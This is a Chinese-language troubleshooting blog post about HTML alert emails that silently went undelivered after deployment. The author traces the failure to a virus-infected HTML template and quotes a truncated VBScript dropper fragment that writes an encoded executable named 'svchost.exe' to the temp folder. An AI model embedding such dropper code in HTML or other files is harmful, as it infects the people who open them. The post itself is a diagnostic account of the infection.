问题描述
项目中有一个邮件发送的功能,实时监控服务器系统信息,并定时发邮件给系统管理员,邮件发送使用的是 html 格式的邮件正文。
但是最近一次部署后,所有发送邮件操作均没有后台异常,但是收件箱没有收到任何邮件。这是怎么回事儿呢?邮件为什么被送达呢?
排查过程
首先,检查 Linux 服务器上的 DNS 设置,测试发现 DNS 配置没有问题,如果 DNS 配置错误,后台应该报异常,异常信息是无法解析 smtp
域名的主机。
其次,写了一个小程序发送简单文本邮件,在 Linux 服务器上测试,能正常发送邮件。
同时在 Linux 上执行 tcpdump
抓包命令,发现系统发邮件的操作实际上是已经给邮件服务器发送报文了,但是收件箱却没有收到邮件。
进一步排查,发现是系统发送的是 html 内容的邮件,而读取邮件模板 html
文件的代码输出的模板信息中,无端多了很多无法解析的字符串。
更换成正确的 html
邮件模板文件后,服务器上的邮件发送功能恢复正常。
问题根源
邮件发送时使用的 模板 html
文件中病毒了,导致邮件内容无法识别,最终被服务器无情抛弃了。
邮件模板 html
文件中无端多了好多内容:
`<SCRIPT Language=VBScript>
<!-- DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000...(后面还有很多)"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & Dr... `
大概是我在用 QQ 发送部署包文件的时候,模板 html
文件受感染的,所以服务器上部署的文件是中毒后的,我本地都没有问题。
网上搜了下,这个病毒还是很常见的,我也是涨见识了,这个病毒害的我找了两天,坑人不浅!